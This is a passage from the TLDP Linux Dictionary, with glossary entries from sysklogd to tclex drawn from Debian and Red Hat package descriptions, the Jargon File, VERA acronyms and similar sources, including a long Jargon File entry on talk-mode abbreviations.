The sysklogd package contains two system utilities (syslogd and klogd) which provide support for system logging. Syslogd and klogd run as daemons (background processes) and log system messages to different places, like sendmail logs, security logs, error logs, etc. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslinux

bootloader for Linux using MS−DOS floppies From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslinux

Bootloader for Linux/i386 using MS−DOS floppies SYSLINUX is a boot loader for the Linux/i386 operating system which operates off an MS−DOS/Windows FAT filesystem. It is intended to simplify first−time installation of Linux, and for creation of rescue and other special−purpose boot disks. SYSLINUX is probably not suitable as a general purpose boot loader. However, SYSLINUX has shown itself to be quite useful in a number of special−purpose applications. You will need support for `msdos' filesystem in order to use this program From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslinux

SYSLINUX is a boot loader for the Linux operating system which canoperate off MS−DOS floppies. It is intended to simplify first−time installation of Linux, rescue disks, and provide other uses for boot floppies. A SYSLINUX floppy can be manipulated using standard MS−DOS(or any other OS that can access an MS−DOS filesystem) tools (once it has been created), and requires only an approximately 7K DOS program or approximately 13K Linux program to create it in the first place. It also includes PXELINUX, a program to boot off a network server using a boot PROM compatible with the Intel PXE (Pre−Execution Environment) specification. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslinux

SYSLINUX is a boot loader for the Linux operating system which operates off an MS−DOS/Windows FAT filesystem. It is intended to simplify first−time installation of Linux, and for creation of rescue−and other special−purpose boot disks. This version include a patched SYSLINUX for handling VESA graphic mode. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslinux2ansi

converts a syslinux−format screen to pc−ansi From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslog

On UNIX, syslog is the standard logging facility. Programs call the syslog() function, and their messages end up somewhere in the /var/log directory. The syslog facility can also be configured to forward alerts from one UNIX machine to another (using un−authenticated UDP datagrams to port 514). Key point: When analyzing a machine that was broken into, you may find interesting information in the syslog logs. In particular, buffer−overflow attempts have distinctive messages, such as messages claiming an unknown command where the command is a string of binary characters. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslog

The UNIX System Logger. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Syslog

The UNIX/Linux System Logger, where all system messages or errors are stored. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslog−facility

Setup and remove LOCALx facility for sysklogd From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslog−ng

Next generation logging daemon Syslog−ng tries to fill the gaps original syslogd's were lacking: * powerful configurability * filtering based on message content * message integrity, message encryption (near future) * portability * better network forwarding From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslog−summary

Summarize the contents of a syslog log file. This program summarizes the contents of a log file written by syslog, by displaying each unique (except for the time) line once, and also the number of times such a line occurs in the input. The lines are displayed in the order they occur in the input. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslogd−listfiles

list system logfiles From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

syslogout

Modularized system wide shell logout mechanism Simple centralized configuration mechanism for flexible maintenance of the shell specific parts for logout from a Debian Linux system. It has been designed to work with bash. Other shells have not been taken in consideration for this version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysnews

display system news The news command keeps you informed of news concerning the system. Each news item is contained in a separate file in the /var/lib/sysnews directory. Anyone having write permission to this directory can create a news file. NOTE: This command has nothing to do with USENET news. It's more like an enhanced motd. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysop

/sis'op/ n. [esp. in the BBS world] The operator (and usually the owner) of a bulletin−board system. A common neophyte mistake on FidoNet is to address a message to `sysop' in an international echo, thus sending it to hundreds of sysops around the world. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SYSOP

SYStem OPerator (BBS), "SysOp" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sysop (System Operator)

Anyone responsible for the physical operations of a computer system or network resource. For example, a System Administrator decides how often backups and maintenance should be performed and the System Operator performs those tasks. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysprofile
Modularized system wide shell configuration mechanism Simple centralized configuration mechanism for flexible maintenance of the shell specific parts for login to a Debian Linux system. It has been designed to work with bash. Other shells have not been taken in consideration for this version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysstat
sar, iostat and mpstat − system performance tools for Linux The sysstat package contains the sar, mpstat and iostat commands for Linux. The sar command collects and reports system activity information. The iostat command reports CPU utilization and I/O statistics for disks. The mpstat command reports global and per−processor statistics. The statistics reported by sar concern I/O transfer rates, paging activity, process−related activities, interrupts, network activity, memory and swap space utilization, CPU utilization, kernel activities and TTY statistics, among others. Both UP and SMP machines are fully supported. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

system
n. 1. The supervisor program or OS on a computer. 2. The entire computer system, including input/output devices, the supervisor program or OS, and possibly other software. 3. Any large−scale program. 4. Any method or algorithm. 5. `System hacker': one who hacks the system (in senses 1 and 2 only; for sense 3 one mentions the particular program: e.g., `LISP hacker') From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

system call
The mechanism used by an application program to request service from the operating system. System calls often use a special machine code instruction which causes the processor to change mode (e.g. to "supervisor mode" or "protected mode"). From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

system−call
The services provided by the kernel to application programs, and the way in which they are invoked. See section 2 of the manual pages. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

System−Down::Rescue
System−Down::Rescue is a free downloadable live distribution. It is designed to recover damaged file−systems, copying the data around other physical discs or networks, or burning them on a CD−ROM, using cdrecord. It features a working hardware detection system. Initial version 1.0.0pre4 was released June 9, 2003. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

system−program
Programs that implement high level functionality of an operating system, i.e., things that aren't directly dependent on the hardware. May sometimes require special privileges to run (e.g., for delivering electronic mail), but often just commonly thought of as part of the system (e.g., a compiler). http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

systemconfigurator
Unified Configuration API for Linux Installation Provides an API for various installation and configuration processes that are otherwise inconsistent between the many Linux distributions, and the many architectures they run on. For example, you can configure the bootloader on a system in a general way − you don't need to know anything about the particular boot loader on the system. You can update the network settings of a system, without knowing the distribution or the format of its network configuration files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

systemimager

SystemImager utilities for golden clients SystemImager is a set of utilities for installing GNU/Linux images to clients machines over the network. Images are stored in flat files on the server, making updates easy. rsync is used for transfers, making updates efficient. This package contains utilities for updating a client's image from the server, and preparing a client for having it's image fetched by the server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

systune

Kernel tuning through the /proc filesystem. This program writes kernel parameters, previously saved in a configuration file, to the /proc filesystem. This enables kernel performance to be adjusted without recompiling the kernel. systune can be alternative to sysctl(8). It is also started after the most daemons and other init.d scripts, so it can be used as "second stage" sysctl. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysutils

Miscellaneous small system utilities. This is a package incorporating various small utilities which are: procinfo − Displays system information from /proc (v17), memtest − Test system memory for errors (v2.93.1), bogomips − Shows the current bogomips rating without rebooting (v1.2), tofromdos − Converts DOS <−> Unix text files (v1.4). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysvbanner

System−V banner clone Displays a `banner' text the same way as the System V banner does: horizontally. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sysvinit

System−V like init. Init is the first program to run after your system is booted, and continues to run as process number 1 until your system halts. Init's job is to start other programs that are essential to the operation of your system. All processes are descended from init. For more information, see the manual page init(8). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SysVinit

The SysVinit package contains a group of processes that control the very basic functions of your system. SysVinit includes the init program, the first program started by the Linux kernel when the system boots. Init then controls the startup, running and shutdown of all other programs. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T

T

/T/ 1. [from LISP terminology for `true'] Yes. Used in reply to a question (particularly one asked using The −P convention). In LISP, the constant T means `true', among other things. Some Lisp hackers use `T' and `NIL' instead of `Yes' and `No' almost reflexively. This sometimes causes misunderstandings. When a waiter or flight attendant asks whether a hacker wants coffee, he may absently respond `T', meaning that he wants coffee; but of course he will be brought a cup of tea instead. Fortunately, most hackers (particularly those who frequent Chinese restaurants) like tea at least as well as coffee −− so it is not that big a problem. 2. See time T (also since time T equals minus infinity). 3. [techspeak] In transaction−processing circles, an abbreviation for the noun `transaction'. 4. [Purdue] Alternate spelling of tee. 5. A dialect of LISP developed at Yale. (There is an intended allusion to NIL, "New Implementation of Lisp", another dialect of Lisp developed for the VAX) From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T−1

A leased−line connection capable of carrying data at 1,544,000 bits−per−second. At maximum theoretical capacity, a T−1 line could move a megabyte in less than 10 seconds. That is still not fast enough for full−screen, full−motion video, for which you need at least 10,000,000 bits−per−second. T−1 lines are commonly used to connect large LANs to the Internet. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T−3

A leased−line connection capable of carrying data at 44,736,000 bits−per−second. This is more than enough to do full−screen, full−motion video. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t−code

Yet another Japanese input method T−Code is Japanese input method that doesn't use Kana−to−Kanji conversion. You can input Kanji characters directly in the same way of inputting Hiragana. This packages also provides TUT−Code input method (the alternative of T−Code). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t−gnus

A branch of Semi−gnus (Gnus for SEMI) variants. Semi−gnus is a replacement of Gnus with gnus−mime for SEMI. It has all features of Gnus and gnus−mime, so there are no need to install Gnus to use it, and you must not use gnus−mime for SEMI. It requires SEMI package, so please get and install SEMI package before to install it. Use T−gnus in offline(Unplugged) status using gnus−offline. T−gnus have also features that have Semi−gnus MainTrunk. Enable to get Multiple Pop server in POP and APOP using pop3−fma.el (pop3 For Multi Account). By Tatsuya Ichikawa <t−ichi@po.shiojiri.ne.jp>. T−gnus is one of Semi−gnus variants. Now, "Semi−gnus" is generic name of Gnus for SEMI. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t−prot

display filter for RFC822 messages This program is a filter which shall improve the readability for messages (email and posts) by *hiding* some annoying parts, e.g. mailing list footers, signatures and TOFU as well as squeezing sequences of blank lines or punctuation. TOFU is an acronym that stands for "Text oben, Fullquote unten" (german language) which means the style of sadly so many people that just leave all the quotes in a reply and add some own lines above. This acronym is what gave the script it's name − TOFU Protection. It currently offers hints how to include it within mutt. It should be possible to do similars with other mailers that allow to have a message run through a program before it's displayed. If you have such an mailer I'd be interested if you could let me know of your setup. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T1

[digital] Transmission link 1 [1.544 Mbit/s] (DS1) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t1lib−bin

Type 1 font rasterizer library − user binaries T1lib is an enhanced rasterizer for Type 1 fonts. T1lib is based on the X11R5 font rasterizer code, but operates independently of X11. It includes many enhancements, including underlining, antialiasing, user−defined slant and extension factors, and rotation. This package contains the programs "xglyph" and "type1afm", included in the upstream T1lib distribution. It also contains the "t1libconfig" script used to configure t1lib. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t1lib1

T1lib is a library for generating character and string−glyphs from Adobe Type 1 fonts under UNIX. T1lib uses most of the code of the X11 rasterizer donated by IBM to the X11−project. But some disadvantages of the rasterizer being included in X11 have been eliminated. T1lib also includes a support for antialiasing. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t1lib1

Type 1 font rasterizer library − runtime T1lib is an enhanced rasterizer for Type 1 fonts. T1lib is based on the X11R5 font rasterizer code, but operates independently of X11. It includes many enhancements, including underlining, antialiasing, user−defined slant and extension factors, and rotation. This package contains the shared libraries needed to run programs using T1lib. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t1mapper

A tool to help xdvi use all your t1 fonts From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t1utils

A collection of simple Type 1 font manipulation programs. t1utils is a collection of simple type−1 font manipulation programs. Together, they allow you to convert between PFA (ASCII) and PFB (binary) formats; disassemble PFA or PFB files into human−readable form; and reassemble the human−readable files into PFA or PFB format files. You can also extract font resources from a Macintosh font file (ATM/Laserwriter), or create a Macintosh Type 1 font file from a PFA or PFB font. There are currently six programs: t1ascii Converts PFB files to PFA format. t1binary Converts PFA files to PFB format. t1disasm Disassembles a Type 1 font (PFA or PFB format) into a raw, human−readable text form for subsequent hand editing, tweaking, hint fixing, etcetera... t1asm Assembles a Type 1 font into PFA or PFB format from the human−readable form produced by t1disasm. t1unmac Extracts POST resources from a Macintosh Type 1 font file (ATM/Laserwriter) into PFA or PFB format for use outside the Macintosh environment. The Macintosh file should be stored in MacBinary, AppleSingle, AppleDouble, or BinHex format, or as a raw resource fork. Note that t1unmac does not have to run on a Macintosh, but makes Macintosh Type 1 fonts available for use on Unix machines and PCs. t1mac Creates a Macintosh Type 1 file from a PFA− or PFB−format Type 1 font. Writes the Macintosh file in MacBinary, AppleSingle, AppleDouble, or BinHex format, or as a raw resource fork. WARNING: This tool will not suffice to allow you to use the new font on a Macintosh, as Macintoshes cannot read raw Type 1 fonts. You will need to create a font suitcase containing bitmap fonts. If you do not already have such a suitcase for the font, T1utils will not help you create one. This version of the t1utils programs has been maintained by Eddie Kohler <eddietwo@lcs.mit.edu> since version 1.5, based on the original code by I. Lee Hetherington. As such, it is a complete replacement for the t1utils Debian package, which is based on version 1.2 of I. Lee Hetherington's code. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

t1utils

The t1utils package is a set of programs for manipulating PostScript Type 1 fonts. It contains programs to change between binary PFB format (for storage), ASCII PFA format (for printing), a human−readable andeditable ASCII format, and Macintosh resource forks. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T2
: [digital] Transmission link 2 [6.312 Mbps] (DS2) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T3
: [digital] Transmission link 3 [44.736 Mbps] (DS3) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

T4
: [digital] Transmission link 4 [274.176 Mbps] (DS4) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TA
: Terminal Adapter (ISDN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TA−Linux
: TA−Linux is a small, multiplatform Linux distribution. It comes with just enough to be usable and it's easy to customize to some particular use. TA−Linux sparc pre−0.2.0−test was released June 6, 2002. A major rewrite of TA−Linux, version 0.2.0−Preview1, was released July 6, 2002. TA−Linux 0.2.0−Beta1 (Alpha) was released August 15, 2002. TA−Linux 0.2.0−Beta2 (i386) was released August 22, 2002. Version 0.2.0−beta4 (i386) was released June 10, 2003. A small disk distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAAI
: Taiwanese Association for Artificial Intelligence (org., Taiwan, AI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tab

Tag
A command in a markup language, such as HTML, to display information in a certain way, such as bold, centered or using a certain font. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tag
In HyperText Markup Language (HTML), a code that identifies an element (a certain pan of a document, such as a heading or list) so that a Web browser can tell how to display it. Tags are enclosed by beginning and ending delimiters (angle brackets). Most tags begin with a start tag (delimited with <>), followed by the content and an end tag (delimited with </>), as in the following example: <H1>Welcome to my home page</H1> From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAG
Technical Advisory Group (PIMA, I3C) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tag−types
Utilities for handling 'tagged' files Set of utilities for manipulating files in a specific tagged format, similar to that of lsm files (but with slightly different rules for handling multi line fields). They are intended for use as an interchange format and are described on the Tag Types Homepage at http://www.paladin.demon.co.uk/tag−types/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

taglog
Personal time management system Taglog is designed for anyone who spends most of their day sitting at a computer, working on various projects. You can make notes about what you do, as you go along, associating them with the projects you work on. At the end of the week you can produce a report of how your time was spent, broken down by project for booking purposes. You can view previous entries, by date, or by project. You can enter the actions you intend to take, associate them with a project, and mark them as active, or complete. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tail

output the last part of files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

taint

A common vulnerability that hackers use to break into systems is the lack of proper input validation. The problem is that programmers expect users to enter in "proper" input, but fail to check for the case of hostile users carefully crafting input designed to compromise the system. The problems with input validation is that the part of the system that receives the input does not know enough to validate it properly. On the other hand, every single component in the system cannot thoroughly validate input. The concept of "taint" is to mark certain inputs as having been entered by the user. Only a thorough desconstruction/reconstruction of the data removes the taint. Some programming languages, like PERL, automate this tracking. Others, like C, requires manual tracking. Example: Version 4 of PERL has a special alternative interpretter called tainperl that tracks tainted input. Version 5 of PERL has the option "−T" that tracks taint. talk

Talk to another user. Talk is a visual communication program which copies lines from your terminal to that of another user. In order to talk locally, you will need to install the talkd package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

talk

The talk package provides client and daemon programs for the Internet talk protocol, which allows you to chat with other users on different systems. Talk is a communication program which copies lines from one terminal to the terminal of another user. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

talk mode

n. A feature supported by Unix, ITS, and some other OSes that allows two or more logged−in users to set up a real−time on−line conversation. It combines the immediacy of talking with all the precision (and verbosity) that written language entails. It is difficult to communicate inflection, though conventions have arisen for some of these (see the section on writing style in the Prependices for details). Talk mode has a special set of jargon words, used to save typing, which are not used orally. Some of these are identical to (and probably derived from) Morse−code jargon used by ham−radio amateurs since the 1920s. AFAIAC as far as I am concerned AFAIK as far as I know BCNU be seeing you BTW by the way BYE? are you ready to unlink? (this is the standard way to end a talk−mode conversation; the other person types BYE to confirm, or else continues the conversation) CUL see you later ENQ? are you busy? (expects ACK or NAK in return) FOO? are you there? (often used on unexpected links, meaning also "Sorry if I butted in ..." (linker) or "What's up?" (linkee)) FWIW for what it's worth FYI for your information FYA for your amusement GA go ahead (used when two people have tried to type simultaneously; this cedes the right to type to the other) GRMBL grumble (expresses disquiet or disagreement) HELLOP hello? (an instance of the `−P' convention) IIRC if I recall correctly JAM just a minute (equivalent to SEC....) MIN same as JAM NIL no (see NIL) NP no problem O over to you OO over and out / another form of "over to you" (from x/y as "x over y") \ lambda (used in discussing LISPy things) OBTW oh, by the way OTOH on the other hand R U THERE? are you there? SEC wait a second (sometimes written SEC...) SYN Are you busy? (expects ACK, SYN|ACK, or RST in return; this is modeled on the TCP/IP handshake sequence) T yes (see the main entry for T) TNX thanks TNX 1.0E6 thanks a million (humorous) TNXE6 another form of "thanks a million" WRT with regard to, or with respect to. WTF the universal interrogative particle; WTF knows what it means? WTH what the hell? <double newline> When the typing party has finished, he/she types two newlines to signal that he/she is done; this leaves a blank line between `speeches' in the conversation, making it easier to reread the preceding text. <name>: When three or more terminals are linked, it is conventional for each typist to prepend his/her login name or handle and a colon (or a hyphen) to each line to indicate who is typing (some conferencing facilities do this automatically). The login name is often shortened to a unique prefix (possibly a single letter) during a very long conversation. /\/\/\ A giggle or chuckle. On a MUD, this usually means `earthquake fault'. Most of the above sub−jargon is used at both Stanford and MIT. Several of these expressions are also common in email, esp. FYI, FYA, BTW, BCNU, WTF, and CUL. A few other abbreviations have been reported from commercial networks, such as GEnie and CompuServe, where on−line `live' chat including more than two people is common and usually involves a more `social' context, notably the following: <g> grin <gd&r> grinning, ducking, and running BBL be back later BRB be right back HHOJ ha ha only joking HHOK ha ha only kidding HHOS ha ha only serious IMHO in my humble opinion (see IMHO) LOL laughing out loud NHOH Never Heard of Him/Her (often used in initgame) ROTF rolling on the floor ROTFL rolling on the floor laughing AFK away from keyboard b4 before CU l8tr see you later MORF male or female? TTFN ta−ta for now TTYL talk to you later OIC oh, I see rehi hello again Most of these are not used at universities or in the Unix world, though ROTF and TTFN have gained some currency there and IMHO is common; conversely, most of the people who know these are unfamiliar with FOO?, BCNU, HELLOP, NIL, and T. The MUD community uses a mixture of Usenet/Internet emoticons, a few of the more natural of the old−style talk−mode abbrevs, and some of the `social' list above; specifically, MUD respondents report use of BBL, BRB, LOL, b4, BTW, WTF, TTFN, and WTH. The use of `rehi' is also common; in fact, mudders are fond of re− compounds and will frequently `rehug' or `rebonk' (see bonk/oif) people. The word `re' by itself is taken as `regreet'. In general, though, MUDders express a preference for typing things out in full rather than using abbreviations; this may be due to the relative youth of the MUD cultures, which tend to include many touch typists and to assume high−speed links. The following uses specific to MUDs are reported: CU l8er see you later (mutant of CU l8tr) FOAD f*** off and die (use of this is generally OTT) OTT over the top (excessive, uncalled for) ppl abbrev for "people" THX thanks (mutant of TNX; clearly this comes in batches of 1138 (the Lucasian K)). UOK? are you OK? Some B1FFisms (notably the variant spelling d00d) appear to be passing into wider use among some subgroups of MUDders. One final note on talk mode style: neophytes, when in talk mode, often seem to think they must produce letter−perfect prose because they are typing rather than speaking. This is not the best approach. It can be very frustrating to wait while your partner pauses to think of a word, or repeatedly makes the same spelling error and backs up to fix it. It is usually best just to leave typographical errors behind and plunge forward, unless severe confusion may result; in that case it is often fastest just to type "xxx" and start over from before the mistake. See also hakspek, emoticon. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

talkd

Remote user communication server. Talkd is the server that notifies a user that someone else wants to initiate a conversation. It acts a repository of invitations, responding to requests by clients wishing to rendezvous to hold a conversation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAP
: Transport und Archivierung Produktdefinierender daten (org., DIN, STEP, CIM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

taper
: Full−screen system backup utility. Taper is a tape backup and restore program that provides a friendly user interface to allow backup/restore to a tape drive. Alternatively, files can be backed up to hard disk files. Selecting files for backup and restore is very similar to the Mouseless Commander interface and allows easy traversal of directories. Recursively selected directories are supported. Incremental backup and automatic most recent restore are defaults settings. SCSI, ftape, zftape, ide tape drives, and removable drives are supported. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAPI
: Telephony Application Program Interface (Intel, MS, WOSA, CTI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tapiir
: A tool for real time audio delay and feedback effects. Tapiir is a simple and flexible audio effects processor, inspired on the classical magnetic tape delay systems used since the early days of electro−acoustic music composition. It provides a graphical user interface consisting of six delay

lines, or "taps", which can introduce an almost arbitrarily big or small delay to their inputs and can be feed back to each other. A wide set of effects can be easily achieved by properly configuring and connecting the delay lines: complex echo patterns, resonances, filtering, etc. Delays, interconnections and gains can all be controlled in real time. Tapiir requires the ALSA sound driver. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tar

A program used to create a single file archive from several files, often used to distribute programs for Unix. The Unix command has many options. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAR

An archiver that is used to combine many files and directories in single archive file. The name comes from 'Tape ARchive', since the utility was created to make tape backups of Unix systems. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tar

GNU tar Tar is a program for packaging a set of files as a single archive in tar format. The function it performs is conceptually similar to cpio, and to things like pkzip in the DOS world. It is heavily used by the Debian package management system, and is useful for performing system backups and exchanging sets of files with others. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAR

Tape ARchiver (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tar

The GNU tar program saves many files together into one archive and can restore individual files (or all of the files) from the archive. Tar can also be used to add supplemental files to an archive and to update or list files in the archive. Tar includes multivolume support, automatic archive compression/decompression, the ability to perform remote archives and the ability to perform incremental and full backups. If you want to use Tar for remote backups, you'll also need to install the rmt package. You should install the tar package, because you'll find its compression and decompression utilities essential for working with files. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tar (Tape ARchive)

A file packaging tool included with UNIX/Linux for the purpose of assembling a collection of files into one combined file for easier archiving. It was originally designed for tape backup, but today can be used with other storage media. When run by itself, it produces files with a .tar extension. When combined with Gzip, for data compression, the resulting file extensions may be .tgz, .tar.gz or .tar.Z. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tar and feather

vi. [from Unix tar(1)] To create a transportable archive from a group of files by first sticking them together with tar(1) (the Tape ARchiver) and then compressing the result (see compress). The latter action is dubbed `feathering' partly for euphony and (if only for contrived effect) by analogy to what you do with an airplane propeller to decrease wind resistance, or with an oar to reduce water resistance; smaller files, after all, slip through comm links more easily. Compare the more common tarball. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tarball

A file created by the Tar utility, containing one or more other archived and, optionally, compressed files. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tarball

A file created with the "tar" command containing a collection of other files. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tarball

n. [very common; prob. based on the "tar baby" in the Uncle Remus folk tales] An archive, created with the Unix tar(1) utility, containing myriad related files. "Here, I'll just ftp you a tarball of the whole project." Tarballs have been the standard way to ship around source−code distributions since the mid−1980s; in retrospect it seems odd that this term did not enter common usage until the late 1990s. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tarcust

Tarball filter Tarcust is a tool designed to help developers rolling tarballs out of their programs. It acts as a filter on tar archives, any change on file attributes (like its name, uid, gid, etc) can be performed, and files can be removed but not added to archive. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TAS

Tag Abuse Syndrome (SGML, HTML, slang) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TASI

Time−Assigned Speech Interpolation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tasksel

a user interface for installing tasks From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tasksel

Tool for selecting tasks for installation on Debian system This package provides 'tasksel', a simple interface for users who want to pick general tasks for installation on their Debian GNU/Linux system. This program is used during the installation process, but users can also use tasksel at any point. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcl

Tcl is a simple scripting language designed to be embedded into other applications. Tcl is designed to be used with Tk, a widget set, which is provided in the tk package. This package also includes tclsh, a simple example of a Tcl application. If you're installing the tcl package and you want to use Tcl for development, you should also install the tk and tclx packages. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCL

Tool Command Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tcl/Tk

Tcl (generally pronounced "tickle") is a command language designed and first implemented by John Ousterhout. Tcl is an extensible, interpreted, programming language, which has been ported to a wide range of machines and operating systems. Tk (pronounced "Tee−kay") is an X−windows toolkit for Tcl. It is generally claimed that Tcl/Tk implementations of software require approximately 10 times less code than the corresponding software in C. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tcl/Tk

Tcl is a scripting language. It is an easy to learn interpreted language that uses a typeless approach to achieve a higher level of programming and a rapid application development. The Tk toolkit is a programming environment for creating graphical user interf aces (GUI) under X Window System. Their capabilities include the possibility to extend and embed in other application, rapid development and ease of use. Toge ther, Tcl and Tk provide many benefits both to application developer and user. Tk−ba sed interfaces tend to be much more customizable and dynamic than those built with one of the C or C++ based toolkits. Tk implements the Motif look and feel. A great number of interesting X applications are implemented entirely in Tk, with no new application−specific commands at all. From Tcl/Tk HOWTO http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclcurl

Tcl interface to libcurl This module provides the same functionality as libcurl provides to C/C++ programs, please refer to the documentation of libcurl. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclex

A lexical analyzer generator for Tcl tcLex is a lexer (lexical analyzer) generator extension to Tcl. It is inspired by Unix and GNU lex and flex, which are "tools for generating programs that perform pattern−matching on text". tcLex is very similar to these programs, except it uses Tcl philosophy and syntax, whereas the others use their own syntax and are used in conjunction with the C language. People used to lex or flex should then feel familiar with tcLex. tcLex is a small extension (the Windows compiled version is about 20kb, and the source is about 150kb), because it extensively uses the Tcl library. However, the current doesn't use Tcl's regexp code anymore but a patched version is now included in tcLex, which makes it slightly bigger (by a few KB). tcLex should work with Tcl 8.0 and later. tcLex will NEVER work with earlier versions, because it uses Tcl 8.0's "object" system for performance. The most interesting features are: * cross−platform support, thanks to Tcl. Though it has been developed on Windows and tested on Windows and Unix only, it should work on other platforms as long as Tcl exists on these platforms. Supported Tcl platforms are Windows 95/NT, Unix (Linux, Solaris...) and Macintosh. Other platforms are VMS, OS/2, NeXTStep, Amiga... * unlike lex and flex, which only generate static lexers written in C and intended to be compiled, tcLex dynamically generates Tcl commands that can be used like other C commands or Tcl procedures from within Tcl scripts or C programs. * it uses Tcl regular expressions. That means you don't have to learn another regexp language. * it works with Tcl namespaces * the generated lexer commands can be used in one pass or incrementally, because they maintain state information. That way, 